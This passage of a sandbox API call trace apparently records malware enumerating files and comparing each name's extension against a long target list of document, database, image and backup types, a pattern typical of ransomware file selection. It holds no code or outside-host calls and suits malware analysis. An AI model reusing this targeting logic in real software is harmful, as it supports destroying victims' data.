-1 [0261.069] lstrlenW (lpString=".7z") returned 3 [0261.069] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0261.069] lstrlenW (lpString=".accda") returned 6 [0261.069] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0261.069] lstrlenW (lpString=".accdb") returned 6 [0261.069] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0261.069] lstrlenW (lpString=".accdc") returned 6 [0261.069] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0261.069] lstrlenW (lpString=".accde") returned 6 [0261.069] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0261.069] lstrlenW (lpString=".accdt") returned 6 [0261.069] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0261.069] lstrlenW (lpString=".accdw") returned 6 [0261.069] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0261.069] lstrlenW (lpString=".adb") returned 4 [0261.069] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0261.069] lstrlenW (lpString=".adp") returned 4 [0261.069] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0261.069] lstrlenW (lpString=".ai") returned 3 [0261.069] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0261.069] lstrlenW (lpString=".ai3") returned 4 [0261.069] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0261.069] lstrlenW (lpString=".ai4") returned 4 [0261.069] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0261.069] lstrlenW (lpString=".ai5") returned 4 [0261.069] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0261.069] lstrlenW (lpString=".ai6") returned 4 [0261.069] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0261.069] lstrlenW (lpString=".ai7") returned 4 [0261.069] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0261.069] lstrlenW (lpString=".ai8") returned 4 [0261.069] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0261.070] lstrlenW (lpString=".anim") returned 5 [0261.070] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0261.070] lstrlenW (lpString=".arw") returned 4 [0261.070] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0261.070] lstrlenW (lpString=".as") returned 3 [0261.070] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0261.070] lstrlenW (lpString=".asa") returned 4 [0261.070] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0261.070] lstrlenW (lpString=".asc") returned 4 [0261.070] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0261.070] lstrlenW (lpString=".ascx") returned 5 [0261.070] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0261.070] lstrlenW (lpString=".asm") returned 4 [0261.070] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0261.070] lstrlenW (lpString=".asmx") returned 5 [0261.070] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0261.070] lstrlenW (lpString=".asp") returned 4 [0261.070] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0261.070] lstrlenW (lpString=".aspx") returned 5 [0261.070] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0261.070] lstrlenW (lpString=".asr") returned 4 [0261.070] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0261.070] lstrlenW (lpString=".asx") returned 4 [0261.070] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0261.070] lstrlenW (lpString=".avi") returned 4 [0261.070] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0261.070] lstrlenW (lpString=".avs") returned 4 [0261.070] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0261.070] lstrlenW (lpString=".backup") returned 7 [0261.070] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0261.070] lstrlenW (lpString=".bak") returned 4 [0261.070] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0261.070] lstrlenW (lpString=".bay") returned 4 [0261.070] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0261.070] lstrlenW (lpString=".bd") returned 3 [0261.070] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0261.070] lstrlenW (lpString=".bin") returned 4 [0261.070] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0261.071] lstrlenW (lpString=".bmp") returned 4 [0261.071] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0261.071] lstrlenW (lpString=".bz2") returned 4 [0261.071] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0261.071] lstrlenW (lpString=".c") returned 2 [0261.071] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0261.071] lstrlenW (lpString=".cdr") returned 4 [0261.071] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0261.071] lstrlenW (lpString=".cer") returned 4 [0261.071] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0261.071] lstrlenW (lpString=".cf") returned 3 [0261.071] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0261.071] lstrlenW (lpString=".cfc") returned 4 [0261.071] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0261.071] lstrlenW (lpString=".cfm") returned 4 [0261.071] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0261.071] lstrlenW (lpString=".cfml") returned 5 [0261.071] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0261.071] lstrlenW (lpString=".cfu") returned 4 [0261.071] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0261.071] lstrlenW (lpString=".chm") returned 4 [0261.071] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0261.071] lstrlenW (lpString=".cin") returned 4 [0261.071] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0261.071] lstrlenW (lpString=".class") returned 6 [0261.071] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0261.071] lstrlenW (lpString=".clx") returned 4 [0261.071] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0261.071] lstrlenW (lpString=".config") returned 7 [0261.071] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0261.071] lstrlenW (lpString=".cpp") returned 4 [0261.071] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0261.071] lstrlenW (lpString=".cr2") returned 4 [0261.071] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0261.071] lstrlenW (lpString=".crt") returned 4 [0261.071] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0261.071] lstrlenW (lpString=".crw") returned 4 [0261.072] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0261.072] lstrlenW (lpString=".cs") returned 3 [0261.072] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0261.072] lstrlenW (lpString=".css") returned 4 [0261.072] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0261.072] lstrlenW (lpString=".csv") returned 4 [0261.072] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0261.072] lstrlenW (lpString=".cub") returned 4 [0261.072] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0261.072] lstrlenW (lpString=".dae") returned 4 [0261.072] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0261.072] lstrlenW (lpString=".dat") returned 4 [0261.072] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0261.072] lstrlenW (lpString=".db") returned 3 [0261.072] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0261.072] lstrlenW (lpString=".dbf") returned 4 [0261.072] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0261.072] lstrlenW (lpString=".dbx") returned 4 [0261.072] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0261.072] lstrlenW (lpString=".dc3") returned 4 [0261.072] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0261.072] lstrlenW (lpString=".dcm") returned 4 [0261.072] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0261.072] lstrlenW (lpString=".dcr") returned 4 [0261.072] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0261.072] lstrlenW (lpString=".der") returned 4 [0261.072] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0261.072] lstrlenW (lpString=".dib") returned 4 [0261.072] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0261.072] lstrlenW (lpString=".dic") returned 4 [0261.072] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0261.072] lstrlenW (lpString=".dif") returned 4 [0261.072] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0261.072] lstrlenW (lpString=".divx") returned 5 [0261.072] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0261.072] lstrlenW (lpString=".djvu") returned 5 [0261.072] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0261.072] lstrlenW (lpString=".dng") returned 4 [0261.073] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0261.073] lstrlenW (lpString=".doc") returned 4 [0261.073] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0261.073] lstrlenW (lpString=".docm") returned 5 [0261.073] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0261.073] lstrlenW (lpString=".docx") returned 5 [0261.073] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0261.073] lstrlenW (lpString=".dot") returned 4 [0261.073] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0261.073] lstrlenW (lpString=".dotm") returned 5 [0261.073] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0261.073] lstrlenW (lpString=".dotx") returned 5 [0261.073] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0261.073] lstrlenW (lpString=".dpx") returned 4 [0261.073] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0261.073] lstrlenW (lpString=".dqy") returned 4 [0261.073] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0261.073] lstrlenW (lpString=".dsn") returned 4 [0261.073] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0261.073] lstrlenW (lpString=".dt") returned 3 [0261.073] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0261.073] lstrlenW (lpString=".dtd") returned 4 [0261.073] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0261.073] lstrlenW (lpString=".dwg") returned 4 [0261.073] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0261.073] lstrlenW (lpString=".dwt") returned 4 [0261.073] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0261.073] lstrlenW (lpString=".dx") returned 3 [0261.073] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0261.073] lstrlenW (lpString=".dxf") returned 4 [0261.073] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0261.073] lstrlenW (lpString=".edml") returned 5 [0261.073] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0261.073] lstrlenW (lpString=".efd") returned 4 [0261.073] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0261.073] lstrlenW (lpString=".elf") returned 4 [0261.073] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0261.074] lstrlenW (lpString=".emf") returned 4 [0261.074] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0261.074] lstrlenW (lpString=".emz") returned 4 [0261.074] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0261.074] lstrlenW (lpString=".epf") returned 4 [0261.074] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0261.074] lstrlenW (lpString=".eps") returned 4 [0261.074] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0261.074] lstrlenW (lpString=".epsf") returned 5 [0261.074] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0261.074] lstrlenW (lpString=".epsp") returned 5 [0261.074] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0261.074] lstrlenW (lpString=".erf") returned 4 [0261.074] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0261.074] lstrlenW (lpString=".exr") returned 4 [0261.074] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0261.074] lstrlenW (lpString=".f4v") returned 4 [0261.074] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0261.074] lstrlenW (lpString=".fido") returned 5 [0261.074] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0261.074] lstrlenW (lpString=".flm") returned 4 [0261.074] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0261.074] lstrlenW (lpString=".flv") returned 4 [0261.074] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0261.074] lstrlenW (lpString=".frm") returned 4 [0261.074] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0261.074] lstrlenW (lpString=".fxg") returned 4 [0261.074] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0261.074] lstrlenW (lpString=".geo") returned 4 [0261.074] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0261.074] lstrlenW (lpString=".gif") returned 4 [0261.074] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0261.074] lstrlenW (lpString=".grs") returned 4 [0261.074] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0261.074] lstrlenW (lpString=".gz") returned 3 [0261.074] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0261.074] lstrlenW (lpString=".h") returned 2 [0261.074] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0261.075] lstrlenW (lpString=".hdr") returned 4 [0261.075] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0261.075] lstrlenW (lpString=".hpp") returned 4 [0261.075] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0261.075] lstrlenW (lpString=".hta") returned 4 [0261.075] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0261.075] lstrlenW (lpString=".htc") returned 4 [0261.075] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0261.075] lstrlenW (lpString=".htm") returned 4 [0261.075] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0261.075] lstrlenW (lpString=".html") returned 5 [0261.075] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0261.075] lstrlenW (lpString=".icb") returned 4 [0261.075] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0261.075] lstrlenW (lpString=".ics") returned 4 [0261.075] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0261.075] lstrlenW (lpString=".iff") returned 4 [0261.075] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0261.075] lstrlenW (lpString=".inc") returned 4 [0261.075] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0261.075] lstrlenW (lpString=".indd") returned 5 [0261.075] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0261.075] lstrlenW (lpString=".ini") returned 4 [0261.075] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0261.075] FindNextFileW (in: hFindFile=0x3af1360, lpFindFileData=0x37df58c | out: lpFindFileData=0x37df58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0261.075] lstrlenW (lpString="Desktop.lnk") returned 11 [0261.075] lstrlenW (lpString=".1cd") returned 4 [0261.075] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0261.075] lstrlenW (lpString=".3ds") returned 4 [0261.075] lstrcmpiW (lpString1=".3ds", lpString2=".lnk") returned -1 [0261.075] lstrlenW (lpString=".3fr") returned 4 [0261.075] lstrcmpiW (lpString1=".3fr", lpString2=".lnk") returned -1 [0261.075] lstrlenW (lpString=".3g2") returned 4 [0261.075] lstrcmpiW (lpString1=".3g2", lpString2=".lnk") returned -1 [0261.075] lstrlenW (lpString=".3gp") returned 4 [0261.075] lstrcmpiW (lpString1=".3gp", lpString2=".lnk") returned -1 [0261.076] lstrlenW (lpString=".7z") returned 3 [0261.076] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0261.076] lstrlenW (lpString=".accda") returned 6 [0261.076] lstrcmpiW (lpString1=".accda", lpString2="op.lnk") returned -1 [0261.076] lstrlenW (lpString=".accdb") returned 6 [0261.076] lstrcmpiW (lpString1=".accdb", lpString2="op.lnk") returned -1 [0261.076] lstrlenW (lpString=".accdc") returned 6 [0261.076] lstrcmpiW (lpString1=".accdc", lpString2="op.lnk") returned -1 [0261.076] lstrlenW (lpString=".accde") returned 6 [0261.076] lstrcmpiW (lpString1=".accde", lpString2="op.lnk") returned -1 [0261.076] lstrlenW (lpString=".accdt") returned 6 [0261.076] lstrcmpiW (lpString1=".accdt", lpString2="op.lnk") returned -1 [0261.076] lstrlenW (lpString=".accdw") returned 6 [0261.076] lstrcmpiW (lpString1=".accdw", lpString2="op.lnk") returned -1 [0261.076] lstrlenW (lpString=".adb") returned 4 [0261.076] lstrcmpiW (lpString1=".adb", lpString2=".lnk") returned -1 [0261.076] lstrlenW (lpString=".adp") returned 4 [0261.076] lstrcmpiW (lpString1=".adp", lpString2=".lnk") returned -1 [0261.076] lstrlenW (lpString=".ai") returned 3 [0261.076] lstrcmpiW (lpString1=".ai", lpString2="lnk") returned -1 [0261.076] lstrlenW (lpString=".ai3") returned 4 [0261.076] lstrcmpiW (lpString1=".ai3", lpString2=".lnk") returned -1 [0261.076] lstrlenW (lpString=".ai4") returned 4 [0261.076] lstrcmpiW (lpString1=".ai4", lpString2=".lnk") returned -1 [0261.076] lstrlenW (lpString=".ai5") returned 4 [0261.076] lstrcmpiW (lpString1=".ai5", lpString2=".lnk") returned -1 [0261.076] lstrlenW (lpString=".ai6") returned 4 [0261.076] lstrcmpiW (lpString1=".ai6", lpString2=".lnk") returned -1 [0261.076] lstrlenW (lpString=".ai7") returned 4 [0261.076] lstrcmpiW (lpString1=".ai7", lpString2=".lnk") returned -1 [0261.076] lstrlenW (lpString=".ai8") returned 4 [0261.076] lstrcmpiW (lpString1=".ai8", lpString2=".lnk") returned -1 [0261.076] lstrlenW (lpString=".anim") returned 5 [0261.076] lstrcmpiW (lpString1=".anim", lpString2="p.lnk") returned -1 [0261.076] lstrlenW (lpString=".arw") returned 4 [0261.076] lstrcmpiW (lpString1=".arw", lpString2=".lnk") returned -1 [0261.076] lstrlenW (lpString=".as") returned 3 [0261.076] lstrcmpiW (lpString1=".as", lpString2="lnk") returned -1 [0261.077] lstrlenW (lpString=".asa") returned 4 [0261.077] lstrcmpiW (lpString1=".asa", lpString2=".lnk") returned -1 [0261.077] lstrlenW (lpString=".asc") returned 4 [0261.077] lstrcmpiW (lpString1=".asc", lpString2=".lnk") returned -1 [0261.077] lstrlenW (lpString=".ascx") returned 5 [0261.077] lstrcmpiW (lpString1=".ascx", lpString2="p.lnk") returned -1 [0261.077] lstrlenW (lpString=".asm") returned 4 [0261.077] lstrcmpiW (lpString1=".asm", lpString2=".lnk") returned -1 [0261.077] lstrlenW (lpString=".asmx") returned 5 [0261.077] lstrcmpiW (lpString1=".asmx", lpString2="p.lnk") returned -1 [0261.077] lstrlenW (lpString=".asp") returned 4 [0261.077] lstrcmpiW (lpString1=".asp", lpString2=".lnk") returned -1 [0261.077] lstrlenW (lpString=".aspx") returned 5 [0261.077] lstrcmpiW (lpString1=".aspx", lpString2="p.lnk") returned -1 [0261.077] lstrlenW (lpString=".asr") returned 4 [0261.077] lstrcmpiW (lpString1=".asr", lpString2=".lnk") returned -1 [0261.077] lstrlenW (lpString=".asx") returned 4 [0261.077] lstrcmpiW (lpString1=".asx", lpString2=".lnk") returned -1 [0261.077] lstrlenW (lpString=".avi") returned 4 [0261.077] lstrcmpiW (lpString1=".avi", lpString2=".lnk") returned -1 [0261.077] lstrlenW (lpString=".avs") returned 4 [0261.077] lstrcmpiW (lpString1=".avs", lpString2=".lnk") returned -1 [0261.077] lstrlenW (lpString=".backup") returned 7 [0261.077] lstrcmpiW (lpString1=".backup", lpString2="top.lnk") returned -1 [0261.077] lstrlenW (lpString=".bak") returned 4 [0261.077] lstrcmpiW (lpString1=".bak", lpString2=".lnk") returned -1 [0261.077] lstrlenW (lpString=".bay") returned 4 [0261.077] lstrcmpiW (lpString1=".bay", lpString2=".lnk") returned -1 [0261.077] lstrlenW (lpString=".bd") returned 3 [0261.077] lstrcmpiW (lpString1=".bd", lpString2="lnk") returned -1 [0261.077] lstrlenW (lpString=".bin") returned 4 [0261.077] lstrcmpiW (lpString1=".bin", lpString2=".lnk") returned -1 [0261.077] lstrlenW (lpString=".bmp") returned 4 [0261.077] lstrcmpiW (lpString1=".bmp", lpString2=".lnk") returned -1 [0261.077] lstrlenW (lpString=".bz2") returned 4 [0261.077] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0261.077] lstrlenW (lpString=".c") returned 2 [0261.077] lstrcmpiW (lpString1=".c", lpString2="nk") returned -1 [0261.078] lstrlenW (lpString=".cdr") returned 4 [0261.078] lstrcmpiW (lpString1=".cdr", lpString2=".lnk") returned -1 [0261.078] lstrlenW (lpString=".cer") returned 4 [0261.078] lstrcmpiW (lpString1=".cer", lpString2=".lnk") returned -1 [0261.078] lstrlenW (lpString=".cf") returned 3 [0261.078] lstrcmpiW (lpString1=".cf", lpString2="lnk") returned -1 [0261.078] lstrlenW (lpString=".cfc") returned 4 [0261.078] lstrcmpiW (lpString1=".cfc", lpString2=".lnk") returned -1 [0261.078] lstrlenW (lpString=".cfm") returned 4 [0261.078] lstrcmpiW (lpString1=".cfm", lpString2=".lnk") returned -1 [0261.078] lstrlenW (lpString=".cfml") returned 5 [0261.078] lstrcmpiW (lpString1=".cfml", lpString2="p.lnk") returned -1 [0261.078] lstrlenW (lpString=".cfu") returned 4 [0261.078] lstrcmpiW (lpString1=".cfu", lpString2=".lnk") returned -1 [0261.078] lstrlenW (lpString=".chm") returned 4 [0261.078] lstrcmpiW (lpString1=".chm", lpString2=".lnk") returned -1 [0261.078] lstrlenW (lpString=".cin") returned 4 [0261.078] lstrcmpiW (lpString1=".cin", lpString2=".lnk") returned -1 [0261.078] lstrlenW (lpString=".class") returned 6 [0261.078] lstrcmpiW (lpString1=".class", lpString2="op.lnk") returned -1 [0261.078] lstrlenW (lpString=".clx") returned 4 [0261.078] lstrcmpiW (lpString1=".clx", lpString2=".lnk") returned -1 [0261.078] lstrlenW (lpString=".config") returned 7 [0261.078] lstrcmpiW (lpString1=".config", lpString2="top.lnk") returned -1 [0261.078] lstrlenW (lpString=".cpp") returned 4 [0261.078] lstrcmpiW (lpString1=".cpp", lpString2=".lnk") returned -1 [0261.078] lstrlenW (lpString=".cr2") returned 4 [0261.078] lstrcmpiW (lpString1=".cr2", lpString2=".lnk") returned -1 [0261.078] lstrlenW (lpString=".crt") returned 4 [0261.078] lstrcmpiW (lpString1=".crt", lpString2=".lnk") returned -1 [0261.078] lstrlenW (lpString=".crw") returned 4 [0261.078] lstrcmpiW (lpString1=".crw", lpString2=".lnk") returned -1 [0261.078] lstrlenW (lpString=".cs") returned 3 [0261.078] lstrcmpiW (lpString1=".cs", lpString2="lnk") returned -1 [0261.078] lstrlenW (lpString=".css") returned 4 [0261.078] lstrcmpiW (lpString1=".css", lpString2=".lnk") returned -1 [0261.078] lstrlenW (lpString=".csv") returned 4 [0261.078] lstrcmpiW (lpString1=".csv", lpString2=".lnk") returned -1 [0261.079] lstrlenW (lpString=".cub") returned 4 [0261.079] lstrcmpiW (lpString1=".cub", lpString2=".lnk") returned -1 [0261.079] lstrlenW (lpString=".dae") returned 4 [0261.079] lstrcmpiW (lpString1=".dae", lpString2=".lnk") returned -1 [0261.079] lstrlenW (lpString=".dat") returned 4 [0261.079] lstrcmpiW (lpString1=".dat", lpString2=".lnk") returned -1 [0261.079] lstrlenW (lpString=".db") returned 3 [0261.079] lstrcmpiW (lpString1=".db", lpString2="lnk") returned -1 [0261.079] lstrlenW (lpString=".dbf") returned 4 [0261.079] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0261.079] lstrlenW (lpString=".dbx") returned 4 [0261.079] lstrcmpiW (lpString1=".dbx", lpString2=".lnk") returned -1 [0261.079] lstrlenW (lpString=".dc3") returned 4 [0261.079] lstrcmpiW (lpString1=".dc3", lpString2=".lnk") returned -1 [0261.079] lstrlenW (lpString=".dcm") returned 4 [0261.079] lstrcmpiW (lpString1=".dcm", lpString2=".lnk") returned -1 [0261.079] lstrlenW (lpString=".dcr") returned 4 [0261.079] lstrcmpiW (lpString1=".dcr", lpString2=".lnk") returned -1 [0261.079] lstrlenW (lpString=".der") returned 4 [0261.079] lstrcmpiW (lpString1=".der", lpString2=".lnk") returned -1 [0261.079] lstrlenW (lpString=".dib") returned 4 [0261.079] lstrcmpiW (lpString1=".dib", lpString2=".lnk") returned -1 [0261.079] lstrlenW (lpString=".dic") returned 4 [0261.079] lstrcmpiW (lpString1=".dic", lpString2=".lnk") returned -1 [0261.079] lstrlenW (lpString=".dif") returned 4 [0261.079] lstrcmpiW (lpString1=".dif", lpString2=".lnk") returned -1 [0261.079] lstrlenW (lpString=".divx") returned 5 [0261.079] lstrcmpiW (lpString1=".divx", lpString2="p.lnk") returned -1 [0261.079] lstrlenW (lpString=".djvu") returned 5 [0261.079] lstrcmpiW (lpString1=".djvu", lpString2="p.lnk") returned -1 [0261.079] lstrlenW (lpString=".dng") returned 4 [0261.079] lstrcmpiW (lpString1=".dng", lpString2=".lnk") returned -1 [0261.079] lstrlenW (lpString=".doc") returned 4 [0261.079] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0261.079] lstrlenW (lpString=".docm") returned 5 [0261.079] lstrcmpiW (lpString1=".docm", lpString2="p.lnk") returned -1 [0261.079] lstrlenW (lpString=".docx") returned 5 [0261.080] lstrcmpiW (lpString1=".docx", lpString2="p.lnk") returned -1 [0261.080] lstrlenW (lpString=".dot") returned 4 [0261.080] lstrcmpiW (lpString1=".dot", lpString2=".lnk") returned -1 [0261.080] lstrlenW (lpString=".dotm") returned 5 [0261.080] lstrcmpiW (lpString1=".dotm", lpString2="p.lnk") returned -1 [0261.080] lstrlenW (lpString=".dotx") returned 5 [0261.080] lstrcmpiW (lpString1=".dotx", lpString2="p.lnk") returned -1 [0261.080] lstrlenW (lpString=".dpx") returned 4 [0261.080] lstrcmpiW (lpString1=".dpx", lpString2=".lnk") returned -1 [0261.080] lstrlenW (lpString=".dqy") returned 4 [0261.080] lstrcmpiW (lpString1=".dqy", lpString2=".lnk") returned -1 [0261.080] lstrlenW (lpString=".dsn") returned 4 [0261.080] lstrcmpiW (lpString1=".dsn", lpString2=".lnk") returned -1 [0261.080] lstrlenW (lpString=".dt") returned 3 [0261.080] lstrcmpiW (lpString1=".dt", lpString2="lnk") returned -1 [0261.080] lstrlenW (lpString=".dtd") returned 4 [0261.080] lstrcmpiW (lpString1=".dtd", lpString2=".lnk") returned -1 [0261.080] lstrlenW (lpString=".dwg") returned 4 [0261.080] lstrcmpiW (lpString1=".dwg", lpString2=".lnk") returned -1 [0261.080] lstrlenW (lpString=".dwt") returned 4 [0261.080] lstrcmpiW (lpString1=".dwt", lpString2=".lnk") returned -1 [0261.080] lstrlenW (lpString=".dx") returned 3 [0261.080] lstrcmpiW (lpString1=".dx", lpString2="lnk") returned -1 [0261.080] lstrlenW (lpString=".dxf") returned 4 [0261.080] lstrcmpiW (lpString1=".dxf", lpString2=".lnk") returned -1 [0261.080] lstrlenW (lpString=".edml") returned 5 [0261.080] lstrcmpiW (lpString1=".edml", lpString2="p.lnk") returned -1 [0261.080] lstrlenW (lpString=".efd") returned 4 [0261.080] lstrcmpiW (lpString1=".efd", lpString2=".lnk") returned -1 [0261.080] lstrlenW (lpString=".elf") returned 4 [0261.080] lstrcmpiW (lpString1=".elf", lpString2=".lnk") returned -1 [0261.080] lstrlenW (lpString=".emf") returned 4 [0261.080] lstrcmpiW (lpString1=".emf", lpString2=".lnk") returned -1 [0261.080] lstrlenW (lpString=".emz") returned 4 [0261.080] lstrcmpiW (lpString1=".emz", lpString2=".lnk") returned -1 [0261.080] lstrlenW (lpString=".epf") returned 4 [0261.080] lstrcmpiW (lpString1=".epf", lpString2=".lnk") returned -1 [0261.080] lstrlenW (lpString=".eps") returned 4 [0261.081] lstrcmpiW (lpString1=".eps", lpString2=".lnk") returned -1 [0261.081] lstrlenW (lpString=".epsf") returned 5 [0261.081] lstrcmpiW (lpString1=".epsf", lpString2="p.lnk") returned -1 [0261.081] lstrlenW (lpString=".epsp") returned 5 [0261.081] lstrcmpiW (lpString1=".epsp", lpString2="p.lnk") returned -1 [0261.081] lstrlenW (lpString=".erf") returned 4 [0261.081] 